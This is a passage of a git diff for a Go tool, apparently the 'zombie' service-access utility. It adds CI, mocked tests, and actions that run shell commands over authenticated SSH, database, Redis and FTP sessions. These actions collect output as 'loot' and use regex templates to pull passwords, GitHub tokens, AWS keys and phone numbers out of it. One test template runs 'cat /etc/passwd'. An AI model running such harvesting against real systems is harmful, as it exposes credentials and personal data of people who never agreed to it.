diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index d5ec745..7882183 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -12,36 +12,130 @@ permissions: contents: read jobs: - basic: - name: basic checks (${{ matrix.os }}) - runs-on: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - os: - - ubuntu-latest - - windows-latest + lint: + name: lint + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + submodules: recursive + + - uses: actions/setup-go@v5 + with: + go-version-file: go.mod + cache: true + + + - run: go vet -tags "re2_cgo re2_static" ./... + + test-linux: + name: test (ubuntu) + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + submodules: recursive + + - uses: actions/setup-go@v5 + with: + go-version-file: go.mod + cache: true + + + - run: go mod download + + - name: Unit & E2E tests + run: go test -tags "re2_cgo re2_static" -count=1 -timeout 300s ./... + + test-windows: + name: test (windows) + runs-on: windows-latest + defaults: + run: + shell: msys2 {0} + steps: + - uses: actions/checkout@v4 + with: + submodules: recursive + + - name: Setup MSYS2 + uses: msys2/setup-msys2@v2 + with: + msystem: MINGW64 + update: true + pacboy: gcc:p re2:p pkg-config:p go:p git:p + + - run: go mod download + + - name: Unit & E2E tests + run: go test -tags "re2_cgo" -count=1 -timeout 300s ./... + + build-linux: + name: build (ubuntu) + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + submodules: recursive + + - uses: actions/setup-go@v5 + with: + go-version-file: go.mod + cache: true + + + - run: go build -tags "re2_cgo re2_static" ./... + + - name: Build with emptytemplates tag + run: go build -tags "emptytemplates re2_cgo re2_static" ./... + + build-windows: + name: build (windows) + runs-on: windows-latest + defaults: + run: + shell: msys2 {0} + steps: + - uses: actions/checkout@v4 + with: + submodules: recursive + + - name: Setup MSYS2 + uses: msys2/setup-msys2@v2 + with: + msystem: MINGW64 + update: true + pacboy: gcc:p re2:p pkg-config:p go:p git:p + + - run: go build -tags "re2_cgo" ./... + + - name: Build with emptytemplates tag + run: go build -tags "emptytemplates re2_cgo" ./... + templates: + name: template validation + runs-on: ubuntu-latest steps: - - name: Checkout - uses: actions/checkout@v4 + - uses: actions/checkout@v4 with: submodules: recursive - - name: Set up Go - uses: actions/setup-go@v5 + - uses: actions/setup-go@v5 with: go-version-file: go.mod cache: true - - name: Download dependencies - run: go mod download - - name: Test - run: go test -count=1 ./... + - name: Validate service templates + run: go test -tags "re2_cgo re2_static" -count=1 -run TestLoadAllTemplates ./service/... - - name: Vet - run: go vet ./... + - name: Validate loot templates + run: go test -tags "re2_cgo re2_static" -count=1 -run TestLoadLootTemplates ./service/... - - name: Build packages - run: go build ./... + - name: Verify embedded data is current + run: | + go run -tags "re2_cgo re2_static" templates/templates_gen.go -t templates -o /tmp/templates_check.go -need zombie -embed + diff -q pkg/templates.go /tmp/templates_check.go || { + echo "::error::pkg/templates.go is out of date — run 'go generate' and commit" + exit 1 + } diff --git a/.gitignore b/.gitignore index cd87ee4..3e3d529 100644 --- a/.gitignore +++ b/.gitignore @@ -19,7 +19,8 @@ # Dependency directories (remove the comment below to include it) # vendor/ -/bin -/.idea -/v1/Test +/bin +/dist/ +/.idea +/v1/Test diff --git a/action/action_test.go b/action/action_test.go new file mode 100644 index 0000000..dc4065b --- /dev/null +++ b/action/action_test.go @@ -0,0 +1,831 @@ +package action + +import ( + "fmt" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/chainreactors/utils/parsers" + "github.com/chainreactors/zombie/pkg" +) + +// --- Mock Sessions --- + +type mockShellSession struct { + files map[string][]byte +} + +func (m *mockShellSession) Service() string { return "ssh" } +func (m *mockShellSession) Close() error { return nil } +func (m *mockShellSession) Exec(cmd string) ([]byte, error) { + for path, data := range m.files { + if containsSubstr(cmd, path) { + return data, nil + } + } + return nil, fmt.Errorf("not found") +} + +type mockSQLSession struct { + service string + rows map[string][][]string +} + +func (m *mockSQLSession) Service() string { return m.service } +func (m *mockSQLSession) Close() error { return nil } +func (m *mockSQLSession) Query(query string, args ...any) ([][]string, error) { + for key, rows := range m.rows { + if containsSubstr(query, key) { + return rows, nil + } + } + return nil, fmt.Errorf("no results") +} +func (m *mockSQLSession) Databases() ([]string, error) { + return []string{"testdb", "production"}, nil +} + +type mockKVSession struct{} + +func (m *mockKVSession) Service() string { return "redis" } +func (m *mockKVSession) Close() error { return nil } +func (m *mockKVSession) Get(key string) ([]byte, error) { + if key == "user:token" { + return []byte("ghp_abcdefghij1234567890abcdefghij1234"), nil + } + return nil, nil +} +func (m *mockKVSession) Keys(pattern string) ([]string, error) { + if pattern == "*" || pattern == "*token*" { + return []string{"user:token"}, nil + } + return nil, nil +} + +type mockFileSession struct{} + +func (m *mockFileSession) Service() string { return "ftp" } +func (m *mockFileSession) Close() error { return nil } +func (m *mockFileSession) List(path string) ([]string, error) { + return []string{".env", "config.yaml", "data.csv"}, nil +} +func (m *mockFileSession) Read(path string) ([]byte, error) { + if path == "/.env" { + return []byte("DB_PASSWORD=SuperSecret123\nAPI_KEY=sk_live_abc123\n"), nil + } + return nil, fmt.Errorf("not found") +} +func (m *mockFileSession) Write(path string, data []byte) error { return nil } + +func containsSubstr(s, sub string) bool { + for i := 0; i <= len(s)-len(sub); i++ { + if s[i:i+len(sub)] == sub { + return true + } + } + return false +} + +func loadAndCreateServiceAction(t *testing.T, dir string) *ServiceAction { + t.Helper() + tmpls, err := LoadServiceTemplatesFromPaths([]string{dir}) + if err != nil { + t.Fatalf("load templates: %v", err) + } + a, err := NewServiceAction(tmpls, nil) + if err != nil { + t.Fatalf("NewServiceAction: %v", err) + } + return a +} + +func mockTask() *pkg.Task { + return &pkg.Task{ + ZombieResult: &parsers.ZombieResult{ + IP: "10.0.0.1", + Port: "22", + Service: "ssh", + }, + Timeout: 5, + } +} + +func createTestTemplate(t *testing.T) string { + t.Helper() + dir := t.TempDir() + tmpl := `id: test-secret-scan +info: + name: Test Secret Scanner + severity: high +file: + - extensions: + - all + extractors: + - type: regex + regex: + - "(?i)password\\s*[=:]\\s*(\\S+)" + group: 1 + - type: regex + regex: + - "ghp_[A-Za-z0-9]{36}" + matchers: + - type: word + words: + - "password" + - "ghp_" +` + path := filepath.Join(dir, "test.yaml") + os.WriteFile(path, []byte(tmpl), 0644) + return dir +} + +// --- PostAction Tests --- + +func TestPostAction_ScanData(t *testing.T) { + dir := createTestTemplate(t) + a, err := NewPostAction([]string{dir}) + if err != nil { + t.Fatalf("NewPostAction failed: %v", err) + } + + results := a.ScanData([]byte("password = hunter2\nclean line\n"), "test:label") + if len(results) == 0 { + t.Fatal("should find password in test data") + } + found := false + for _, e := range results { + for _, v := range e.ExtractResult { + if v == "hunter2" { + found = true + } + } + } + if !found { + t.Error("should extract 'hunter2'") + } +} + +func TestPostAction_GitHubToken(t *testing.T) { + dir := createTestTemplate(t) + a, err := NewPostAction([]string{dir}) + if err != nil { + t.Fatalf("NewPostAction failed: %v", err) + } + + token := "ghp_abcdefghijklmnopqrstuvwxyz1234567890" + results := a.ScanData([]byte("GITHUB_TOKEN="+token+"\n"), "test:github") + if len(results) == 0 { + t.Fatal("should find GitHub token") + } + found := false + for _, e := range results { + for _, v := range e.ExtractResult { + if v == token { + found = true + } + } + } + if !found { + t.Error("should extract GitHub token") + } +} + +func TestServiceActionChain(t *testing.T) { + dir := t.TempDir() + root := `id: root-chain +service: [ssh] +chain: [child-chain] +info: + name: Root Chain + severity: info +services: + - ops: + - shell: "detect-os" + name: os_detect + extractors: + - type: regex + name: os_type + internal: true + part: os_detect + regex: ['(Linux)'] + group: 1 +` + child := `id: child-chain +service: [ssh] +info: + name: Child Chain + severity: info +services: + - ops: + - shell: "child-command" + name: child_output + extractors: + - type: regex + name: child_value + part: child_output + regex: ['(child-ok)'] + group: 1 +` + if err := os.WriteFile(filepath.Join(dir, "root-chain.yaml"), []byte(root), 0644); err != nil { + t.Fatalf("write root template: %v", err) + } + if err := os.WriteFile(filepath.Join(dir, "child-chain.yaml"), []byte(child), 0644); err != nil { + t.Fatalf("write child template: %v", err) + } + + a := loadAndCreateServiceAction(t, dir) + session := &mockShellSession{ + files: map[string][]byte{ + "detect-os": []byte("Linux\n"), + "child-command": []byte("child-ok\n"), + }, + } + result, err := a.Run(session, mockTask()) + if err != nil { + t.Fatalf("Run failed: %v", err) + } + + for _, extracted := range result.Extracteds { + if extracted.Name == "child-chain:child_value" && len(extracted.ExtractResult) == 1 && extracted.ExtractResult[0] == "child-ok" { + return + } + } + t.Fatalf("expected chained extraction, got %#v", result.Extracteds) +} + +func TestServiceAction_ChainTargetNotEntrypoint(t *testing.T) { + dir := t.TempDir() + // root chains to child; child should NOT run as a top-level entry point + root := `id: entry +service: [ssh] +chain: [helper] +info: + name: Entry + severity: info +services: + - ops: + - shell: "echo entry" + name: entry_out + extractors: + - type: regex + name: entry_val + part: entry_out + regex: ['(entry)'] + group: 1 +` + helper := `id: helper +service: [ssh] +info: + name: Helper + severity: info +services: + - ops: + - shell: "echo helper" + name: helper_out + extractors: + - type: regex + name: helper_val + part: helper_out + regex: ['(helper)'] + group: 1 +` + os.WriteFile(filepath.Join(dir, "entry.yaml"), []byte(root), 0644) + os.WriteFile(filepath.Join(dir, "helper.yaml"), []byte(helper), 0644) + + a := loadAndCreateServiceAction(t, dir) + session := &mockShellSession{ + files: map[string][]byte{ + "echo entry": []byte("entry\n"), + "echo helper": []byte("helper\n"), + }, + } + result, err := a.Run(session, mockTask()) + if err != nil { + t.Fatalf("Run: %v", err) + } + + // Both should appear in results (entry as entry point, helper via chain) + found := map[string]bool{} + for _, e := range result.Extracteds { + found[e.Name] = true + } + if !found["entry:entry_val"] { + t.Error("missing entry extraction") + } + if !found["helper:helper_val"] { + t.Error("missing helper extraction (should run via chain)") + } + + // helper should appear exactly once (not duplicated as both entry point and chain) + count := 0 + for _, e := range result.Extracteds { + if e.Name == "helper:helper_val" { + count++ + } + } + if count != 1 { + t.Errorf("helper executed %d times, want 1", count) + } +} + +func TestServiceAction_ServiceMismatchSkipsChain(t *testing.T) { + dir := t.TempDir() + root := `id: ssh-root +service: [ssh] +chain: [mysql-only] +info: + name: SSH Root + severity: info +services: + - ops: + - shell: "echo root" + name: root_out + extractors: + - type: regex + name: root_val + part: root_out + regex: ['(root)'] + group: 1 +` + mysqlOnly := `id: mysql-only +service: [mysql] +info: + name: MySQL Only + severity: info +services: + - ops: + - shell: "echo mysql" + name: mysql_out + extractors: + - type: regex + name: mysql_val + part: mysql_out + regex: ['(mysql)'] + group: 1 +` + os.WriteFile(filepath.Join(dir, "root.yaml"), []byte(root), 0644) + os.WriteFile(filepath.Join(dir, "mysql.yaml"), []byte(mysqlOnly), 0644) + + a := loadAndCreateServiceAction(t, dir) + // session is SSH, so mysql-only should be skipped + session := &mockShellSession{ + files: map[string][]byte{ + "echo root": []byte("root\n"), + "echo mysql": []byte("mysql\n"), + }, + } + result, err := a.Run(session, mockTask()) + if err != nil { + t.Fatalf("Run: %v", err) + } + + for _, e := range result.Extracteds { + if e.Name == "mysql-only:mysql_val" { + t.Fatal("mysql-only template should NOT execute on SSH session") + } + } + found := false + for _, e := range result.Extracteds { + if e.Name == "ssh-root:root_val" { + found = true + } + } + if !found { + t.Error("ssh-root should have executed") + } +} + +func TestServiceAction_ServiceMismatchStopsChain(t *testing.T) { + // When a chain target doesn't match the session's service, it returns nil + // and its own chains (if any) should NOT execute. + dir := t.TempDir() + root := `id: ssh-entry +service: [ssh] +chain: [mysql-gate] +info: + name: SSH Entry + severity: info +services: + - ops: + - shell: "echo entry" + name: entry_out + extractors: + - type: regex + name: entry_val + part: entry_out + regex: ['(entry)'] + group: 1 +` + gate := `id: mysql-gate +service: [mysql] +chain: [after-gate] +info: + name: MySQL Gate + severity: info +services: + - ops: + - shell: "echo gate" + name: gate_out + extractors: + - type: regex + name: gate_val + part: gate_out + regex: ['(gate)'] + group: 1 +` + afterGate := `id: after-gate +service: [ssh] +info: + name: After Gate + severity: info +services: + - ops: + - shell: "echo after" + name: after_out + extractors: + - type: regex + name: after_val + part: after_out + regex: ['(after)'] + group: 1 +` + os.WriteFile(filepath.Join(dir, "entry.yaml"), []byte(root), 0644) + os.WriteFile(filepath.Join(dir, "gate.yaml"), []byte(gate), 0644) + os.WriteFile(filepath.Join(dir, "after.yaml"), []byte(afterGate), 0644) + + a := loadAndCreateServiceAction(t, dir) + session := &mockShellSession{ + files: map[string][]byte{ + "echo entry": []byte("entry\n"), + "echo gate": []byte("gate\n"), + "echo after": []byte("after\n"), + }, + } + result, err := a.Run(session, mockTask()) + if err != nil { + t.Fatalf("Run: %v", err) + } + + found := map[string]bool{} + for _, e := range result.Extracteds { + found[e.Name] = true + } + if !found["ssh-entry:entry_val"] { + t.Error("ssh-entry should have executed") + } + if found["mysql-gate:gate_val"] { + t.Error("mysql-gate should NOT execute on SSH session") + } + if found["after-gate:after_val"] { + t.Error("after-gate should NOT execute because mysql-gate was skipped") + } +} + +func TestServiceAction_MultipleChains(t *testing.T) { + dir := t.TempDir() + root := `id: multi-root +service: [ssh] +chain: [branch-a, branch-b] +info: + name: Multi Root + severity: info +services: + - ops: + - shell: "echo root" + name: root_out + extractors: + - type: regex + name: root_val + part: root_out + regex: ['(root)'] + group: 1 +` + branchA := `id: branch-a +service: [ssh] +info: + name: Branch A + severity: info +services: + - ops: + - shell: "echo a" + name: a_out + extractors: + - type: regex + name: a_val + part: a_out + regex: ['(a)'] + group: 1 +` + branchB := `id: branch-b +service: [ssh] +info: + name: Branch B + severity: info +services: + - ops: + - shell: "echo b" + name: b_out + extractors: + - type: regex + name: b_val + part: b_out + regex: ['(b)'] + group: 1 +` + os.WriteFile(filepath.Join(dir, "root.yaml"), []byte(root), 0644) + os.WriteFile(filepath.Join(dir, "a.yaml"), []byte(branchA), 0644) + os.WriteFile(filepath.Join(dir, "b.yaml"), []byte(branchB), 0644) + + a := loadAndCreateServiceAction(t, dir) + session := &mockShellSession{ + files: map[string][]byte{ + "echo root": []byte("root\n"), + "echo a": []byte("a\n"), + "echo b": []byte("b\n"), + }, + } + result, err := a.Run(session, mockTask()) + if err != nil { + t.Fatalf("Run: %v", err) + } + + found := map[string]bool{} + for _, e := range result.Extracteds { + found[e.Name] = true + } + for _, want := range []string{"multi-root:root_val", "branch-a:a_val", "branch-b:b_val"} { + if !found[want] { + t.Errorf("missing extraction %s, got %v", want, found) + } + } +} + +// --- ServiceAction Loot Population --- + +func TestServiceAction_LootPopulated(t *testing.T) { + dir := t.TempDir() + tmpl := `id: loot-test +service: [ssh] +info: + name: Loot Test + severity: info +services: + - ops: + - shell: "cat /etc/passwd" + name: passwd + extractors: + - type: regex + name: users + part: passwd + regex: ['(\w+):'] +` + os.WriteFile(filepath.Join(dir, "loot.yaml"), []byte(tmpl), 0644) + a := loadAndCreateServiceAction(t, dir) + session := &mockShellSession{ + files: map[string][]byte{ + "cat /etc/passwd": []byte("root:x:0:0:root:/root:/bin/bash\nwww:x:33:33:www-data:/var/www\n"), + }, + } + result, err := a.Run(session, mockTask()) + if err != nil { + t.Fatalf("Run: %v", err) + } + if result.Loot == nil || len(result.Loot) == 0 { + t.Fatal("Loot should be populated with raw response data") + } + data, ok := result.Loot["loot-test"] + if !ok { + t.Fatalf("Loot missing key 'loot-test', got keys: %v", lootKeys(result.Loot)) + } + if !strings.Contains(string(data), "root:x:0:0") { + t.Errorf("Loot should contain raw passwd output, got %q", string(data)) + } +} + +func TestServiceAction_LootPopulatedWithoutMatch(t *testing.T) { + dir := t.TempDir() + tmpl := `id: nomatch-loot +service: [ssh] +info: + name: No Match Loot + severity: info +services: + - ops: + - shell: "whoami" + name: user + matchers: + - type: word + part: user + words: ["WILL_NOT_MATCH"] +` + os.WriteFile(filepath.Join(dir, "nomatch.yaml"), []byte(tmpl), 0644) + a := loadAndCreateServiceAction(t, dir) + session := &mockShellSession{ + files: map[string][]byte{ + "whoami": []byte("testuser\n"), + }, + } + result, err := a.Run(session, mockTask()) + if err != nil { + t.Fatalf("Run: %v", err) + } + if result.Loot == nil || len(result.Loot) == 0 { + t.Fatal("Loot should be populated even when matchers don't match") + } + if !strings.Contains(string(result.Loot["nomatch-loot"]), "testuser") { + t.Error("Loot should contain raw response regardless of match result") + } +} + +func lootKeys(loot map[string][]byte) []string { + var keys []string + for k := range loot { + keys = append(keys, k) + } + return keys +} + +// --- PostAction from Data --- + +func TestNewPostActionFromData(t *testing.T) { + yamlData := []byte(`- id: test-loot-rule + info: + name: Test Password + severity: high + file: + - extensions: [all] + matchers: + - type: word + words: ["password"] + extractors: + - type: regex + regex: ['(?i)password\s*[=:]\s*(\S+)'] + group: 1 +`) + pa, err := NewPostActionFromData(yamlData) + if err != nil { + t.Fatalf("NewPostActionFromData: %v", err) + } + results := pa.ScanData([]byte("password = secret123\n"), "test") + if len(results) == 0 { + t.Fatal("should detect password in scanned data") + } + found := false + for _, e := range results { + for _, v := range e.ExtractResult { + if v == "secret123" { + found = true + } + } + } + if !found { + t.Error("should extract 'secret123' from loot data") + } +} + +func TestNewPostActionFromData_Empty(t *testing.T) { + _, err := NewPostActionFromData(nil) + if err == nil { + t.Error("expected error for nil data") + } + _, err = NewPostActionFromData([]byte{}) + if err == nil { + t.Error("expected error for empty data") + } +} + +// --- Worker Integration Test --- + +func TestPostAction_ScanLoot(t *testing.T) { + dir := createTestTemplate(t) + a, err := NewPostAction([]string{dir}) + if err != nil { + t.Fatalf("NewPostAction failed: %v", err) + } + + results := a.ScanData([]byte("[client]\npassword = dbpass123\n"), "ssh:10.0.0.1:22:~/.my.cnf") + if len(results) == 0 { + t.Fatal("should find password in loot data") + } +} + +// --- Audit E2E --- + +type mockAuditableSession struct { + svc string + data map[string]string +} + +func (m *mockAuditableSession) Service() string { return m.svc } +func (m *mockAuditableSession) Close() error { return nil } +func (m *mockAuditableSession) Audit(patterns []string, limit int) (map[string]string, error) { + return m.data, nil +} + +func TestAuditAction_E2E(t *testing.T) { + session := &mockAuditableSession{ + svc: "mysql", + data: map[string]string{ + "app.users.phone": "13800138000\n13912345678", + "app.users.password": "admin123\nP@ssw0rd", + "app.config.api_key": "AKIA1234567890ABCDEF", + }, + } + + // Step 1: AuditAction produces loot + audit := NewAuditAction() + ar, err := audit.Run(session, &pkg.Task{ZombieResult: &parsers.ZombieResult{Service: "mysql"}}) + if err != nil { + t.Fatalf("audit action: %v", err) + } + if ar == nil || len(ar.Loot) == 0 { + t.Fatal("audit should produce loot") + } + if len(ar.Loot) != 3 { + t.Fatalf("expected 3 loot entries, got %d", len(ar.Loot)) + } + + // Step 2: Merge into Result (simulates worker.go) + result := pkg.NewResult(&pkg.Task{ZombieResult: &parsers.ZombieResult{Service: "mysql"}}, nil) + result.Merge(ar) + + // Step 3: PostAction scans loot for PII (simulates worker.go postAction loop) + lootDir := createLootTemplateDir(t) + postAction, err := NewPostAction([]string{lootDir}) + if err != nil { + t.Fatalf("post action: %v", err) + } + for label, data := range result.Loot { + result.Extracteds = append(result.Extracteds, postAction.ScanData(data, label)...) + } + + // Step 4: Verify findings include location labels + if len(result.Extracteds) == 0 { + t.Fatal("PostAction should find PII in audit loot") + } + var foundPhone, foundCloud bool + for _, e := range result.Extracteds { + if containsSubstr(e.Name, "phone") { + foundPhone = true + } + if containsSubstr(e.Name, "cloud") || containsSubstr(e.Name, "credential") { + foundCloud = true + } + t.Logf("finding: %s → %v", e.Name, e.ExtractResult) + } + if !foundPhone { + t.Error("should detect phone numbers in app.users.phone") + } + if !foundCloud { + t.Error("should detect cloud credential (AKIA) in app.config.api_key") + } +} + +func TestAuditAction_NonAuditableSession(t *testing.T) { + session := &mockShellSession{files: map[string][]byte{}} + audit := NewAuditAction() + ar, err := audit.Run(session, &pkg.Task{ZombieResult: &parsers.ZombieResult{Service: "ssh"}}) + if err != nil { + t.Fatalf("should not error: %v", err) + } + if ar != nil { + t.Fatal("non-auditable session should return nil") + } +} + +func createLootTemplateDir(t *testing.T) string { + t.Helper() + dir := t.TempDir() + + phone := ` +id: loot-phone-cn +info: + name: Chinese Phone Number + severity: medium +file: + - extensions: + - all + extractors: + - type: regex + regex: + - '(?:\+?86[-\s]?)?1[3-9]\d{9}' +` + cloud := ` +id: loot-cloud-credential +info: + name: Cloud Access Credential + severity: high +file: + - extensions: + - all + extractors: + - type: regex + regex: + - '(?:AKIA|ASIA)[A-Z0-9]{16}' +` + os.WriteFile(filepath.Join(dir, "phone.yaml"), []byte(phone), 0644) + os.WriteFile(filepath.Join(dir, "cloud.yaml"), []byte(cloud), 0644) + return dir +} diff --git a/action/audit.go b/action/audit.go new file mode 100644 index 0000000..9df0694 --- /dev/null +++ b/action/audit.go @@ -0,0 +1,41 @@ +package action + +import ( + "github.com/chainreactors/logs" + "github.com/chainreactors/zombie/pkg" +) + +type AuditAction struct { + Patterns []string + Limit int +} + +func NewAuditAction() *AuditAction { + return &AuditAction{ + Patterns: pkg.DefaultAuditPatterns, + Limit: 100, + } +} + +func (a *AuditAction) Name() string { return "audit" } + +func (a *AuditAction) Run(session pkg.Session, task *pkg.Task) (*pkg.ActionResult, error) { + auditable, ok := session.(pkg.AuditableSession) + if !ok { + return nil, nil + } + + data, err := auditable.Audit(a.Patterns, a.Limit) + if err != nil { + logs.Log.Debugf("[audit] %s: %v", task.URI(), err) + return nil, nil + } + + result := &pkg.ActionResult{ + Loot: make(map[string][]byte), + } + for location, samples := range data { + result.Loot[location] = []byte(samples) + } + return result, nil +} diff --git a/action/post.go b/action/post.go new file mode 100644 index 0000000..989869c --- /dev/null +++ b/action/post.go @@ -0,0 +1,144 @@ +package action + +import ( + "fmt" + "os" + "path/filepath" + "strings" + + "github.com/chainreactors/neutron/protocols" + "github.com/chainreactors/proton/proton/file" + "github.com/chainreactors/proton/template" + "github.com/chainreactors/utils/parsers" + "github.com/chainreactors/zombie/pkg" + "gopkg.in/yaml.v3" +) + +type PostAction struct { + scanner *file.Scanner +} + +func NewPostAction(templatePaths []string) (*PostAction, error) { + execOpts := &protocols.ExecuterOptions{Options: &protocols.Options{}} + var tmpls []*template.Template + for _, p := range templatePaths { + loaded, err := loadTemplatesFromPath(p, execOpts) + if err != nil { + return nil, fmt.Errorf("load templates from %s: %w", p, err) + } + tmpls = append(tmpls, loaded...) + } + return newPostActionFromTemplates(tmpls, execOpts) +} + +func NewPostActionFromData(data []byte) (*PostAction, error) { + if len(data) == 0 { + return nil, fmt.Errorf("empty loot template data") + } + execOpts := &protocols.ExecuterOptions{Options: &protocols.Options{}} + var list []template.Template + if err := yaml.Unmarshal(data, &list); err != nil { + return nil, fmt.Errorf("unmarshal loot templates: %w", err) + } + var compiled []*template.Template + for i := range list { + tmpl := &list[i] + if len(tmpl.RequestsFile) == 0 { + continue + } + if err := tmpl.Compile(execOpts); err != nil { + continue + } + compiled = append(compiled, tmpl) + } + return newPostActionFromTemplates(compiled, execOpts) +} + +func newPostActionFromTemplates(tmpls []*template.Template, execOpts *protocols.ExecuterOptions) (*PostAction, error) { + var rules []file.Rule + for _, tmpl := range tmpls { + if len(tmpl.RequestsFile) > 0 { + rules = append(rules, file.Rule{ + ID: tmpl.Id, Name: tmpl.Info.Name, + Severity: tmpl.Info.Severity, Requests: tmpl.RequestsFile, + }) + } + } + if len(rules) == 0 { + return nil, fmt.Errorf("no file rules in loaded templates") + } + return &PostAction{scanner: file.NewScanner(rules, execOpts)}, nil +} + +func (a *PostAction) Name() string { return "post" } + +func (a *PostAction) Run(session pkg.Session, task *pkg.Task) (*pkg.ActionResult, error) { + return nil, nil +} + +func (a *PostAction) ScanData(data []byte, label string) []*parsers.Extracted { + if a.scanner == nil || len(data) == 0 { + return nil + } + var results []*parsers.Extracted + for _, group := range a.scanner.Groups { + for _, f := range a.scanner.FindAll(data, label, group) { + var extracts []string + for _, e := range f.Events { + extracts = append(extracts, e.Value) + } + if len(extracts) > 0 { + results = append(results, &parsers.Extracted{ + Name: fmt.Sprintf("%s:%s", f.TemplateID, label), + Severity: f.Severity, + ExtractResult: extracts, + }) + } + } + } + return results +} + +func loadTemplatesFromPath(path string, execOpts *protocols.ExecuterOptions) ([]*template.Template, error) { + info, err := os.Stat(path) + if err != nil { + return nil, err + } + if !info.IsDir() { + return loadTemplateFile(path, execOpts) + } + var tmpls []*template.Template + filepath.WalkDir(path, func(p string, d os.DirEntry, err error) error { + if err != nil || d.IsDir() { + return nil + } + if !strings.HasSuffix(p, ".yaml") && !strings.HasSuffix(p, ".yml") { + return nil + } + loaded, err := loadTemplateFile(p, execOpts) + if err != nil { + return nil + } + tmpls = append(tmpls, loaded...) + return nil + }) + return tmpls, nil +} + +func loadTemplateFile(path string, execOpts *protocols.ExecuterOptions) ([]*template.Template, error) { + data, err := os.ReadFile(path) + if err != nil { + return nil, err + } + var tmpl template.Template + if err := yaml.Unmarshal(data, &tmpl); err != nil { + return nil, err + } + if len(tmpl.RequestsFile) == 0 { + return nil, nil + } + if err := tmpl.Compile(execOpts); err != nil { + return nil, err + } + return []*template.Template{&tmpl}, nil +} diff --git a/action/service.go b/action/service.go new file mode 100644 index 0000000..5961bb6 --- /dev/null +++ b/action/service.go @@ -0,0 +1,230 @@ +package action + +import ( + "fmt" + "os" + "path/filepath" + "strings" + + "github.com/chainreactors/logs" + "github.com/chainreactors/neutron/protocols" + "github.com/chainreactors/neutron/templates" + "github.com/chainreactors/utils/parsers" + "github.com/chainreactors/zombie/pkg" + "github.com/chainreactors/zombie/service" + "gopkg.in/yaml.v3" +) + +type ServiceAction struct { + index map[string]*service.Template + chain *templates.ChainExecutor + vars map[string]interface{} + payloads map[string]interface{} + risk string + tags []string +} + +func NewServiceAction(loaded []*service.Template, vars map[string]interface{}, payloads ...map[string]interface{}) (*ServiceAction, error) { + if len(loaded) == 0 { + return nil, fmt.Errorf("no service templates loaded") + } + + index := make(map[string]*service.Template, len(loaded)) + chain := templates.NewChainExecutor(templates.ChainConfig{ + DepthFirst: true, + PassVariables: true, + }) + for _, t := range loaded { + index[t.Id] = t + chain.Add(t.Id, t.Chains) + } + + var cliPayloads map[string]interface{} + if len(payloads) > 0 { + cliPayloads = payloads[0] + } + + return &ServiceAction{ + index: index, + chain: chain, + vars: vars, + payloads: cliPayloads, + }, nil +} + +func (a *ServiceAction) SetRisk(risk string) { a.risk = risk } +func (a *ServiceAction) SetTags(tags []string) { a.tags = tags } + +func (a *ServiceAction) Name() string { return "service" } + +func (a *ServiceAction) Run(session pkg.Session, task *pkg.Task) (*pkg.ActionResult, error) { + result := &pkg.ActionResult{} + host := task.Address() + svc := session.Service() + + a.chain.Execute(a.chain.Entrypoints(), func(id string, vars map[string]interface{}) *templates.ChainResult { + tmpl, ok := a.index[id] + if !ok || !tmpl.Match(svc) { + return nil + } + if !tmpl.RiskAllowed(a.risk) { + return nil + } + if len(a.tags) > 0 && !a.matchTags(tmpl) { + return nil + } + + mergedVars := copyVars(a.vars) + for k, v := range vars { + mergedVars[k] = v + } + + opResult, err := tmpl.ExecuteWithOptions(session, host, mergedVars, a.payloads) + if err != nil { + logs.Log.Debugf("[service] template %s failed on %s: %v", id, host, err) + return nil + } + if opResult == nil { + return nil + } + + if opResult.Matched || opResult.Extracted { + for name, extracts := range opResult.ExtractsByName() { + result.Extracteds = append(result.Extracteds, &parsers.Extracted{ + Name: fmt.Sprintf("%s:%s", id, name), + ExtractResult: extracts, + }) + } + } + + if opResult.Response != "" { + if result.Loot == nil { + result.Loot = make(map[string][]byte) + } + result.Loot[id] = []byte(opResult.Response) + } + + chainVars := copyVars(mergedVars) + for k, v := range opResult.DynamicValues { + if s, ok := v.([]string); ok && len(s) > 0 { + chainVars[k] = s[0] + } else if v != nil { + chainVars[k] = v + } + } + for k, v := range opResult.ExtractsByName() { + if len(v) > 0 { + chainVars[k] = v[0] + } + } + return &templates.ChainResult{Vars: chainVars} + }) + + return result, nil +} + +func (a *ServiceAction) matchTags(tmpl *service.Template) bool { + for _, tag := range a.tags { + if tmpl.HasTag(tag) { + return true + } + } + return false +} + +func copyVars(src map[string]interface{}) map[string]interface{} { + if src == nil { + return make(map[string]interface{}) + } + dst := make(map[string]interface{}, len(src)) + for k, v := range src { + dst[k] = v + } + return dst +} + +func LoadServiceTemplatesFromPaths(paths []string) ([]*service.Template, error) { + execOpts := &protocols.ExecuterOptions{Options: &protocols.Options{}} + var all []*service.Template + for _, p := range paths { + tmpls, err := loadServiceTemplatesFromPath(p, execOpts) + if err != nil { + return nil, fmt.Errorf("load service templates from %s: %w", p, err) + } + all = append(all, tmpls...) + } + return all, nil +} + +func loadServiceTemplatesFromPath(path string, execOpts *protocols.ExecuterOptions) ([]*service.Template, error) { + info, err := os.Stat(path) + if err != nil { + return nil, err + } + if !info.IsDir() { + return loadServiceTemplateFile(path, execOpts) + } + var templates []*service.Template + filepath.WalkDir(path, func(p string, d os.DirEntry, err error) error { + if err != nil || d.IsDir() { + return nil + } + if !strings.HasSuffix(p, ".yaml") && !strings.HasSuffix(p, ".yml") { + return nil + } + loaded, err := loadServiceTemplateFile(p, execOpts) + if err != nil { + logs.Log.Debugf("[service] skip %s: %v", p, err) + return nil + } + templates = append(templates, loaded...) + return nil + }) + return templates, nil +} + +func loadServiceTemplateFile(path string, execOpts *protocols.ExecuterOptions) ([]*service.Template, error) { + data, err := os.ReadFile(path) + if err != nil { + return nil, err + } + return loadServiceTemplateBytes(data, execOpts) +} + +func loadServiceTemplateBytes(data []byte, execOpts *protocols.ExecuterOptions) ([]*service.Template, error) { + var tmpl service.Template + if err := yaml.Unmarshal(data, &tmpl); err != nil { + return nil, err + } + if len(tmpl.RequestsService) == 0 && len(tmpl.RequestsHTTP) == 0 && len(tmpl.RequestsNetwork) == 0 { + return nil, nil + } + if err := tmpl.Compile(execOpts); err != nil { + return 